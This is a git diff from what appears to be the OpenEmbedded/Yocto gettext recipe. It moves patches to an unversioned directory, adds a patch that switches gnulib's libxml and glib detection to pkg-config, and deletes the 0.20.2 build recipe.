diff --git a/meta/recipes-core/gettext/gettext-0.20.2/parallel.patch b/meta/recipes-core/gettext/gettext/parallel.patch
index d96a376b7d..8ecba46fd0 100644
--- a/meta/recipes-core/gettext/gettext-0.20.2/parallel.patch
+++ b/meta/recipes-core/gettext/gettext/parallel.patch
@@ -1,4 +1,4 @@
-From 4a2a0a93b469093b60ffd0bec55d33d1e03d4713 Mon Sep 17 00:00:00 2001
+From 83333bc873c2655ff1de161f6b7db930f22f1cea Mon Sep 17 00:00:00 2001
From: Joe Slater <jslater@windriver.com>
Date: Thu, 7 Jun 2012 16:37:01 -0700
Subject: [PATCH] instal libgettextlib.a before removing it
@@ -10,16 +10,15 @@ the operations.
Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
-
---
gettext-tools/gnulib-lib/Makefile.am | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/gettext-tools/gnulib-lib/Makefile.am b/gettext-tools/gnulib-lib/Makefile.am
-index 2126699..d2dd7e4 100644
+index ab729cd..a0d713e 100644
--- a/gettext-tools/gnulib-lib/Makefile.am
+++ b/gettext-tools/gnulib-lib/Makefile.am
-@@ -58,6 +58,10 @@ endif
+@@ -58,6 +58,10 @@ AM_CFLAGS = @WARN_CFLAGS@
# Rules generated and collected by gnulib-tool.
include Makefile.gnulib
diff --git a/meta/recipes-core/gettext/gettext-0.20.2/run-ptest b/meta/recipes-core/gettext/gettext/run-ptest
index f17f3c87a7..f17f3c87a7 100644
--- a/meta/recipes-core/gettext/gettext-0.20.2/run-ptest
+++ b/meta/recipes-core/gettext/gettext/run-ptest
diff --git a/meta/recipes-core/gettext/gettext-0.20.2/serial-tests-config.patch b/meta/recipes-core/gettext/gettext/serial-tests-config.patch
index 93f7c03334..7d39d6086a 100644
--- a/meta/recipes-core/gettext/gettext-0.20.2/serial-tests-config.patch
+++ b/meta/recipes-core/gettext/gettext/serial-tests-config.patch
@@ -1,4 +1,4 @@
-From ed64a5724ef7d6eb4e9a876f817ea266a536e195 Mon Sep 17 00:00:00 2001
+From aa8dfe0aafd0b53a6c5bac61b356ca92e1430a36 Mon Sep 17 00:00:00 2001
From: "Hongjun.Yang" <hongjun.yang@windriver.com>
Date: Thu, 28 Jul 2016 12:36:15 +0800
Subject: [PATCH] fix for ptest
@@ -8,7 +8,6 @@ Add serial-tests support, ptest need it
Upstream-Status: Inappropriate [oe specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
---
configure.ac | 2 +-
gettext-runtime/configure.ac | 2 +-
@@ -16,7 +15,7 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 38db6fd..f019ae0 100644
+index f4e54ea..a47ff14 100644
--- a/configure.ac
+++ b/configure.ac
@@ -22,7 +22,7 @@ AC_INIT([gettext],
@@ -29,7 +28,7 @@ index 38db6fd..f019ae0 100644
dnl Override automake's tar command used for creating distributions.
am__tar='${AMTAR} chf - --format=ustar --owner=root --group=root "$$tardir"'
diff --git a/gettext-runtime/configure.ac b/gettext-runtime/configure.ac
-index de203e7..138a07f 100644
+index 126d069..aa23232 100644
--- a/gettext-runtime/configure.ac
+++ b/gettext-runtime/configure.ac
@@ -22,7 +22,7 @@ AC_INIT([gettext-runtime],
@@ -42,7 +41,7 @@ index de203e7..138a07f 100644
dnl Installation directories.
diff --git a/gettext-tools/configure.ac b/gettext-tools/configure.ac
-index cf1dd73..b544d6d 100644
+index 3610ee3..6f56a23 100644
--- a/gettext-tools/configure.ac
+++ b/gettext-tools/configure.ac
@@ -22,7 +22,7 @@ AC_INIT([gettext-tools],
diff --git a/meta/recipes-core/gettext/gettext/use-pkgconfig.patch b/meta/recipes-core/gettext/gettext/use-pkgconfig.patch
new file mode 100644
index 0000000000..ceb1856118
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext/use-pkgconfig.patch
@@ -0,0 +1,391 @@
+From 6aa1338b916fe72c200b6f160b934be15b6ff590 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Tue, 23 Jan 2018 00:54:13 +0000
+Subject: [PATCH] gettext: beat library detection into shape
+
+For reasons which I just can't fathom gnulib doesn't use the expected tools to
+find libraries but badly reinvents the wheel. This will trivially lead to host
+contamination (explicit searches of /usr/lib) or incorrect RPATHs (bad
+canonicalisation resulting in relative paths).
+
+Simply delete all the crazy, and replace with a single call to pkg-config.
+
+Upstream-Status: Inappropriate [upstream still refuse to consider pkg-config]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ gettext-tools/gnulib-m4/libxml.m4 | 105 ++---------------------
+ libtextstyle/gnulib-local/m4/libglib.m4 | 106 +++---------------------
+ libtextstyle/gnulib-m4/libglib.m4 | 106 +++---------------------
+ 3 files changed, 31 insertions(+), 286 deletions(-)
+
+diff --git a/gettext-tools/gnulib-m4/libxml.m4 b/gettext-tools/gnulib-m4/libxml.m4
+index 0340490..0355388 100644
+--- a/gettext-tools/gnulib-m4/libxml.m4
++++ b/gettext-tools/gnulib-m4/libxml.m4
+@@ -13,6 +13,7 @@ dnl gl_LIBXML(FORCE-INCLUDED)
+ dnl forces the use of the included or an external libxml.
+ AC_DEFUN([gl_LIBXML],
+ [
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
+ AC_REQUIRE([AM_ICONV_LINK])
+
+ ifelse([$1], , [
+@@ -30,106 +31,10 @@ AC_DEFUN([gl_LIBXML],
+ INCXML=
+ ifelse([$1], [yes], , [
+ if test "$gl_cv_libxml_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libxml2, or have to use
+- dnl the included one.
+- AC_CACHE_VAL([gl_cv_libxml], [
+- gl_cv_libxml=no
+- gl_cv_LIBXML=
+- gl_cv_LTLIBXML=
+- gl_cv_INCXML=
+- gl_save_LIBS="$LIBS"
+- LIBS="$LIBS $LIBICONV"
+- dnl Search for libxml2 and define LIBXML2, LTLIBXML2 and INCXML2
+- dnl accordingly.
+- dnl Don't use xml2-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- dnl Use a test program that tries to invoke xmlFree. On Cygwin 1.7.x,
+- dnl libxml2 is built in such a way that uses of xmlFree work fine with
+- dnl -Wl,--enable-auto-import but lead to a link error with
+- dnl -Wl,--disable-auto-import.
+- AC_LIB_LINKFLAGS_BODY([xml2])
+- LIBS="$gl_save_LIBS $LIBXML2 $LIBICONV"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <libxml/xmlversion.h>
+- #include <libxml/xmlmemory.h>
+- #include <libxml/xpath.h>
+- ]],
+- [[xmlCheckVersion (0);
+- xmlFree ((void *) 0);
+- xmlXPathSetContextNode ((void *)0, (void *)0);
+- ]])],
+- [gl_cv_libxml=yes
+- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
+- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
+- ])
+- if test "$gl_cv_libxml" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCXML2"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <libxml/xmlversion.h>
+- #include <libxml/xmlmemory.h>
+- #include <libxml/xpath.h>
+- ]],
+- [[xmlCheckVersion (0);
+- xmlFree ((void *) 0);
+- xmlXPathSetContextNode ((void *)0, (void *)0);
+- ]])],
+- [gl_cv_libxml=yes
+- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
+- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
+- gl_cv_INCXML="$INCXML2"
+- ])
+- if test "$gl_cv_libxml" != yes; then
+- dnl Often the include files are installed in /usr/include/libxml2.
+- dnl In libxml2-2.5, <libxml/xmlversion.h> is self-contained.
+- dnl In libxml2-2.6, it includes <libxml/xmlexports.h> which is
+- dnl self-contained.
+- libxml2_include_dir=
+- AC_PREPROC_IFELSE([AC_LANG_SOURCE([[#include <libxml2/libxml/xmlexports.h>]])],
+- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlexports.h])
+- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlexports_h" | sed -e 's,.libxml.xmlexports\.h$,,'`
+- ])
+- if test -z "$libxml2_include_dir"; then
+- AC_PREPROC_IFELSE([AC_LANG_SOURCE([[#include <libxml2/libxml/xmlversion.h>]])],
+- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlversion.h])
+- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlversion_h" | sed -e 's,.libxml.xmlversion\.h$,,'`
+- ])
+- fi
+- if test -n "$libxml2_include_dir" && test -d "$libxml2_include_dir"; then
+- CPPFLAGS="$gl_save_CPPFLAGS -I$libxml2_include_dir"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <libxml/xmlversion.h>
+- #include <libxml/xmlmemory.h>
+- #include <libxml/xpath.h>
+- ]],
+- [[xmlCheckVersion (0);
+- xmlFree ((void *) 0);
+- xmlXPathSetContextNode ((void *)0, (void *)0);
+- ]])],
+- [gl_cv_libxml=yes
+- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
+- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
+- gl_cv_INCXML="-I$libxml2_include_dir"
+- ])
+- fi
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for libxml])
+- AC_MSG_RESULT([$gl_cv_libxml])
+- if test $gl_cv_libxml = yes; then
+- LIBXML="$gl_cv_LIBXML"
+- LTLIBXML="$gl_cv_LTLIBXML"
+- INCXML="$gl_cv_INCXML"
+- else
+- gl_cv_libxml_use_included=yes
+- fi
++ PKG_CHECK_MODULES([XML], [libxml-2.0])
++ LIBXML=$XML_LIBS
++ LTLIBXML=$XML_LIBS
++ INCXML=$XML_CFLAGS
+ fi
+ ])
+ AC_SUBST([LIBXML])
+diff --git a/libtextstyle/gnulib-local/m4/libglib.m4 b/libtextstyle/gnulib-local/m4/libglib.m4
+index dbc9eb8..136e512 100644
+--- a/libtextstyle/gnulib-local/m4/libglib.m4
++++ b/libtextstyle/gnulib-local/m4/libglib.m4
+@@ -6,106 +6,26 @@ dnl with or without modifications, as long as this notice is preserved.
+
+ dnl From Bruno Haible.
+
+-dnl gl_LIBGLIB
+-dnl gives the user the option to decide whether to use the included or
+-dnl an external libglib.
+-dnl gl_LIBGLIB(FORCE-INCLUDED)
+-dnl forces the use of the included or an external libglib.
+ AC_DEFUN([gl_LIBGLIB],
+ [
+- ifelse([$1], , [
+- AC_MSG_CHECKING([whether included glib is requested])
+- AC_ARG_WITH([included-glib],
+- [ --with-included-glib use the glib2 included here],
+- [gl_cv_libglib_force_included=$withval],
+- [gl_cv_libglib_force_included=no])
+- AC_MSG_RESULT([$gl_cv_libglib_force_included])
+- ], [gl_cv_libglib_force_included=$1])
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
++ AC_MSG_CHECKING([whether included glib is requested])
++ AC_ARG_WITH([included-glib],
++ [ --with-included-glib use the glib2 included here],
++ [gl_cv_libglib_force_included=$withval],
++ [gl_cv_libglib_force_included=no])
++ AC_MSG_RESULT([$gl_cv_libglib_force_included])
+
+ gl_cv_libglib_use_included="$gl_cv_libglib_force_included"
+ LIBGLIB=
+ LTLIBGLIB=
+ INCGLIB=
+- ifelse([$1], [yes], , [
+- if test "$gl_cv_libglib_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
+- dnl the included one.
+- AC_CACHE_VAL([gl_cv_libglib], [
+- gl_cv_libglib=no
+- gl_cv_LIBGLIB=
+- gl_cv_LTLIBGLIB=
+- gl_cv_INCGLIB=
+- gl_save_LIBS="$LIBS"
+- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
+- dnl INCGLIB_2_0 accordingly.
+- dnl Don't use glib-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- AC_LIB_LINKFLAGS_BODY([glib-2.0])
+- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <glib.h>
+- #ifndef G_BEGIN_DECLS
+- error this glib.h includes a glibconfig.h from a glib version 1.x
+- #endif
+- ]],
+- [[g_string_new ("foo");]])],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <glib.h>
+- #ifndef G_BEGIN_DECLS
+- error this glib.h includes a glibconfig.h from a glib version 1.x
+- #endif
+- ]],
+- [[g_string_new ("foo");]])],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="$INCGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- dnl Often the include files are installed in /usr/include/glib-2.0
+- dnl and /usr/lib/glib-2.0/include.
+- if test -n "$LIBGLIB_2_0_PREFIX"; then
+- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <glib.h>
+- #ifndef G_BEGIN_DECLS
+- error this glib.h includes a glibconfig.h from a glib version 1.x
+- #endif
+- ]],
+- [[g_string_new ("foo");]])],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- ])
+- fi
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for glib])
+- AC_MSG_RESULT([$gl_cv_libglib])
+- if test $gl_cv_libglib = yes; then
+- LIBGLIB="$gl_cv_LIBGLIB"
+- LTLIBGLIB="$gl_cv_LTLIBGLIB"
+- INCGLIB="$gl_cv_INCGLIB"
+- else
+- gl_cv_libglib_use_included=yes
+- fi
+- fi
+- ])
++ if test "$gl_cv_libglib_use_included" != yes; then
++ PKG_CHECK_MODULES([GLIB], [glib-2.0])
++ LIBGLIB="$GLIB_LIBS"
++ LTLIBGLIB="$GLIB_LIBS"
++ INCGLIB="$GLIB_CFLAGS"
++ fi
+ AC_SUBST([LIBGLIB])
+ AC_SUBST([LTLIBGLIB])
+ AC_SUBST([INCGLIB])
+diff --git a/libtextstyle/gnulib-m4/libglib.m4 b/libtextstyle/gnulib-m4/libglib.m4
+index dbc9eb8..136e512 100644
+--- a/libtextstyle/gnulib-m4/libglib.m4
++++ b/libtextstyle/gnulib-m4/libglib.m4
+@@ -6,106 +6,26 @@ dnl with or without modifications, as long as this notice is preserved.
+
+ dnl From Bruno Haible.
+
+-dnl gl_LIBGLIB
+-dnl gives the user the option to decide whether to use the included or
+-dnl an external libglib.
+-dnl gl_LIBGLIB(FORCE-INCLUDED)
+-dnl forces the use of the included or an external libglib.
+ AC_DEFUN([gl_LIBGLIB],
+ [
+- ifelse([$1], , [
+- AC_MSG_CHECKING([whether included glib is requested])
+- AC_ARG_WITH([included-glib],
+- [ --with-included-glib use the glib2 included here],
+- [gl_cv_libglib_force_included=$withval],
+- [gl_cv_libglib_force_included=no])
+- AC_MSG_RESULT([$gl_cv_libglib_force_included])
+- ], [gl_cv_libglib_force_included=$1])
++ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
++ AC_MSG_CHECKING([whether included glib is requested])
++ AC_ARG_WITH([included-glib],
++ [ --with-included-glib use the glib2 included here],
++ [gl_cv_libglib_force_included=$withval],
++ [gl_cv_libglib_force_included=no])
++ AC_MSG_RESULT([$gl_cv_libglib_force_included])
+
+ gl_cv_libglib_use_included="$gl_cv_libglib_force_included"
+ LIBGLIB=
+ LTLIBGLIB=
+ INCGLIB=
+- ifelse([$1], [yes], , [
+- if test "$gl_cv_libglib_use_included" != yes; then
+- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
+- dnl the included one.
+- AC_CACHE_VAL([gl_cv_libglib], [
+- gl_cv_libglib=no
+- gl_cv_LIBGLIB=
+- gl_cv_LTLIBGLIB=
+- gl_cv_INCGLIB=
+- gl_save_LIBS="$LIBS"
+- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
+- dnl INCGLIB_2_0 accordingly.
+- dnl Don't use glib-config nor pkg-config, since it doesn't work when
+- dnl cross-compiling or when the C compiler in use is different from the
+- dnl one that built the library.
+- AC_LIB_LINKFLAGS_BODY([glib-2.0])
+- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <glib.h>
+- #ifndef G_BEGIN_DECLS
+- error this glib.h includes a glibconfig.h from a glib version 1.x
+- #endif
+- ]],
+- [[g_string_new ("foo");]])],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- gl_save_CPPFLAGS="$CPPFLAGS"
+- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <glib.h>
+- #ifndef G_BEGIN_DECLS
+- error this glib.h includes a glibconfig.h from a glib version 1.x
+- #endif
+- ]],
+- [[g_string_new ("foo");]])],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="$INCGLIB_2_0"
+- ])
+- if test "$gl_cv_libglib" != yes; then
+- dnl Often the include files are installed in /usr/include/glib-2.0
+- dnl and /usr/lib/glib-2.0/include.
+- if test -n "$LIBGLIB_2_0_PREFIX"; then
+- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[#include <glib.h>
+- #ifndef G_BEGIN_DECLS
+- error this glib.h includes a glibconfig.h from a glib version 1.x
+- #endif
+- ]],
+- [[g_string_new ("foo");]])],
+- [gl_cv_libglib=yes
+- gl_cv_LIBGLIB="$LIBGLIB_2_0"
+- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
+- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
+- ])
+- fi
+- fi
+- CPPFLAGS="$gl_save_CPPFLAGS"
+- fi
+- LIBS="$gl_save_LIBS"
+- ])
+- AC_MSG_CHECKING([for glib])
+- AC_MSG_RESULT([$gl_cv_libglib])
+- if test $gl_cv_libglib = yes; then
+- LIBGLIB="$gl_cv_LIBGLIB"
+- LTLIBGLIB="$gl_cv_LTLIBGLIB"
+- INCGLIB="$gl_cv_INCGLIB"
+- else
+- gl_cv_libglib_use_included=yes
+- fi
+- fi
+- ])
++ if test "$gl_cv_libglib_use_included" != yes; then
++ PKG_CHECK_MODULES([GLIB], [glib-2.0])
++ LIBGLIB="$GLIB_LIBS"
++ LTLIBGLIB="$GLIB_LIBS"
++ INCGLIB="$GLIB_CFLAGS"
++ fi
+ AC_SUBST([LIBGLIB])
+ AC_SUBST([LTLIBGLIB])
+ AC_SUBST([INCGLIB])
diff --git a/meta/recipes-core/gettext/gettext_0.20.2.bb b/meta/recipes-core/gettext/gettext_0.20.2.bb
deleted file mode 100644
index fda11c44cc..0000000000
--- a/meta/recipes-core/gettext/gettext_0.20.2.bb
+++ /dev/null
@@ -1,210 +0,0 @@
-SUMMARY = "Utilities and libraries for producing multi-lingual messages"
-DESCRIPTION = "GNU gettext is a set of tools that provides a framework to help other programs produce multi-lingual messages. \
-These tools include a set of conventions about how programs should be written to support message catalogs, a directory and file \
-naming organization for the message catalogs themselves, a runtime library supporting the retrieval of translated messages, and \
-a few stand-alone programs to massage in various ways the sets of translatable and already translated strings."
-HOMEPAGE = "http://www.gnu.org/software/gettext/gettext.html"
-SECTION = "libs"
-LICENSE = "GPLv3+ & LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
-
-# Because po-gram-gen.y has been modified by fix-CVE-2018-18751.patch,
-# it requires yacc which provided by bison-native
-# Please remove bison-native from DEPENDS* when next upgrade
-DEPENDS = "bison-native gettext-native virtual/libiconv"
-DEPENDS_class-native = "bison-native gettext-minimal-native"
-PROVIDES = "virtual/libintl virtual/gettext"
-PROVIDES_class-native = "virtual/gettext-native"
-RCONFLICTS_${PN} = "proxy-libintl"
-SRC_URI = "${GNU_MIRROR}/gettext/gettext-${PV}.tar.gz \
- file://parallel.patch \
- file://add-with-bisonlocaledir.patch \
- file://use-pkgconfig.patch \
- file://run-ptest \
- file://serial-tests-config.patch \
- file://0001-tests-autopoint-3-unset-MAKEFLAGS.patch \
- file://0001-init-env.in-do-not-add-C-CXX-parameters.patch \
- "
-SRC_URI[md5sum] = "30fec34a895fab4c02584449c500aac2"
-SRC_URI[sha256sum] = "ecb9d0908ca41d5ca5fef974323b3bba6bec19eebba0b44f396de98cfcc089f1"
-
-inherit autotools texinfo pkgconfig ptest
-
-EXTRA_OECONF += "--without-lispdir \
- --disable-csharp \
- --disable-libasprintf \
- --disable-java \
- --disable-native-java \
- --disable-openmp \
- --disable-acl \
- --without-emacs \
- --without-cvs \
- --without-git \
- --cache-file=${B}/config.cache \
- "
-EXTRA_OECONF_append_class-target = " \
- --with-bisonlocaledir=${datadir}/locale \
- gt_cv_locale_fr_utf8=fr_FR \
- gt_cv_locale_fr=fr_FR.ISO-8859-1 \
- gt_cv_locale_de_utf8=de_DE \
- gt_cv_locale_de=de_DE.ISO-8859-1 \
-"
-
-PACKAGECONFIG ??= "croco glib libxml"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[croco] = "--without-included-libcroco,--with-included-libcroco,libcroco"
-PACKAGECONFIG[glib] = "--without-included-glib,--with-included-glib,glib-2.0"
-PACKAGECONFIG[libxml] = "--without-included-libxml,--with-included-libxml,libxml2"
-# Need paths here to avoid host contamination but this can cause RPATH warnings
-# or problems if $libdir isn't $prefix/lib.
-PACKAGECONFIG[libunistring] = "--with-libunistring-prefix=${STAGING_LIBDIR}/..,--with-included-libunistring,libunistring"
-PACKAGECONFIG[msgcat-curses] = "--with-libncurses-prefix=${STAGING_LIBDIR}/..,--disable-curses,ncurses,"
-
-acpaths = '-I ${S}/gettext-runtime/m4 \
- -I ${S}/gettext-tools/m4'
-
-do_install_append_libc-musl () {
- rm -f ${D}${libdir}/charset.alias
- rm -f ${D}${includedir}/libintl.h
- rm -f ${D}${libdir}/libintl.la
-}
-
-# these lack the .x behind the .so, but shouldn't be in the -dev package
-# Otherwise you get the following results:
-# 7.4M glibc/images/ep93xx/Angstrom-console-image-glibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
-# 25M uclibc/images/ep93xx/Angstrom-console-image-uclibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
-# because gettext depends on gettext-dev, which pulls in more -dev packages:
-# 15228 KiB /ep93xx/libstdc++-dev_4.2.2-r2_ep93xx.ipk
-# 1300 KiB /ep93xx/uclibc-dev_0.9.29-r8_ep93xx.ipk
-# 140 KiB /armv4t/gettext-dev_0.14.1-r6_armv4t.ipk
-# 4 KiB /ep93xx/libgcc-s-dev_4.2.2-r2_ep93xx.ipk
-
-PACKAGES =+ "libgettextlib libgettextsrc"
-FILES_libgettextlib = "${libdir}/libgettextlib-*.so*"
-FILES_libgettextsrc = "${libdir}/libgettextsrc-*.so*"
-
-PACKAGES =+ "gettext-runtime gettext-runtime-dev gettext-runtime-doc"
-
-FILES_${PN} += "${libdir}/${BPN}/*"
-
-# The its/Makefile.am has defined:
-# itsdir = $(pkgdatadir)$(PACKAGE_SUFFIX)/its
-# not itsdir = $(pkgdatadir), so use wildcard to match the version.
-FILES_${PN} += "${datadir}/${BPN}-*/*"
-
-FILES_gettext-runtime = "${bindir}/gettext \
- ${bindir}/ngettext \
- ${bindir}/envsubst \
- ${bindir}/gettext.sh \
- ${libdir}/libasprintf.so* \
- ${libdir}/GNU.Gettext.dll \
- "
-FILES_gettext-runtime-dev += "${libdir}/libasprintf.a \
- ${includedir}/autosprintf.h \
- "
-FILES_gettext-runtime-doc = "${mandir}/man1/gettext.* \
- ${mandir}/man1/ngettext.* \
- ${mandir}/man1/envsubst.* \
- ${mandir}/man1/.* \
- ${mandir}/man3/* \
- ${docdir}/gettext/gettext.* \
- ${docdir}/gettext/ngettext.* \
- ${docdir}/gettext/envsubst.* \
- ${docdir}/gettext/*.3.html \
- ${datadir}/gettext/ABOUT-NLS \
- ${docdir}/gettext/csharpdoc/* \
- ${docdir}/libasprintf/autosprintf.html \
- ${infodir}/autosprintf.info \
- "
-
-do_install_append() {
- rm -f ${D}${libdir}/preloadable_libintl.so
-}
-
-do_install_append_class-native () {
- rm ${D}${datadir}/aclocal/*
- rm ${D}${datadir}/gettext/config.rpath
- rm ${D}${datadir}/gettext/po/Makefile.in.in
- rm ${D}${datadir}/gettext/po/remove-potcdate.sin
-
- create_wrapper ${D}${bindir}/msgfmt \
- GETTEXTDATADIR="${STAGING_DATADIR_NATIVE}/gettext-0.20.2/"
-
-}
-
-do_compile_ptest() {
- cd ${B}/gettext-tools/tests/
- sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_PROGRAMS)' Makefile
- oe_runmake buildtest-TESTS
- cd -
-}
-
-do_install_ptest() {
- if [ ${PTEST_ENABLED} = "1" ]; then
- mkdir -p ${D}${PTEST_PATH}/tests
- mkdir -p ${D}${PTEST_PATH}/src
- mkdir -p ${D}${PTEST_PATH}/po
- mkdir -p ${D}${PTEST_PATH}/misc
- mkdir -p ${D}${PTEST_PATH}/its
- mkdir -p ${D}${PTEST_PATH}/styles
- mkdir -p ${D}${PTEST_PATH}/gnulib-lib
- mkdir -p ${D}${PTEST_PATH}/examples
- cp -rf ${S}/gettext-tools/its/* ${D}${PTEST_PATH}/its
- cp -rf ${S}/gettext-tools/styles/* ${D}${PTEST_PATH}/styles
- cp -rf ${S}/gettext-tools/gnulib-lib/gettext.h ${D}${PTEST_PATH}/gnulib-lib
- cp -rf ${S}/gettext-tools/examples/hello-c ${D}${PTEST_PATH}/examples
- cp -rf ${S}/gettext-tools/tests/* ${D}${PTEST_PATH}/tests
- cp -rf ${B}/gettext-tools/tests/.libs/* ${D}${PTEST_PATH}/tests
- cp -rf ${B}/gettext-runtime/intl/.libs/libgnuintl.so.8* ${D}${libdir}/
- cp -rf ${B}/gettext-tools/tests/Makefile ${D}${PTEST_PATH}/tests
- cp -rf ${B}/gettext-tools/tests/init-env ${D}${PTEST_PATH}/tests
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e 's:lang-c lang-c++:lang-c++:g' ${D}${PTEST_PATH}/tests/Makefile
- install ${S}/gettext-tools/src/msgunfmt.tcl ${D}${PTEST_PATH}/src
- install ${S}/gettext-tools/src/project-id ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/gettext.sh ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/ngettext ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/envsubst ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/gettext ${D}${PTEST_PATH}/src
- install ${B}/gettext-tools/src/.libs/cldr-plurals ${D}${PTEST_PATH}/src
- install ${S}/gettext-tools/po/gettext-tools.pot ${D}${PTEST_PATH}/po
- install ${B}/gettext-tools/misc/* ${D}${PTEST_PATH}/misc
- find ${D}${PTEST_PATH}/ -name "*.o" -exec rm {} \;
- chmod 0755 ${D}${PTEST_PATH}/tests/lang-vala ${D}${PTEST_PATH}/tests/plural-1 ${D}${PTEST_PATH}/tests/xgettext-tcl-4 \
- ${D}${PTEST_PATH}/tests/xgettext-vala-1 ${D}${PTEST_PATH}/tests/xgettext-po-2
- fi
-}
-
-RDEPENDS_${PN}-ptest += "make"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- glibc-gconv-big5 \
- glibc-charmap-big5 \
- glibc-gconv-cp1251 \
- glibc-charmap-cp1251 \
- glibc-charmap-iso-8859-9 \
- glibc-gconv-iso8859-9 \
- glibc-charmap-koi8-r \
- glibc-gconv-koi8-r \
- glibc-gconv-iso8859-2 \
- glibc-charmap-iso-8859-2 \
- glibc-gconv-iso8859-1 \
- glibc-charmap-iso-8859-1 \
- glibc-gconv-euc-kr \
- glibc-charmap-euc-kr \
- glibc-gconv-euc-jp \
- glibc-charmap-euc-jp \
- locale-base-de-de \
- locale-base-fr-fr \
-"
-
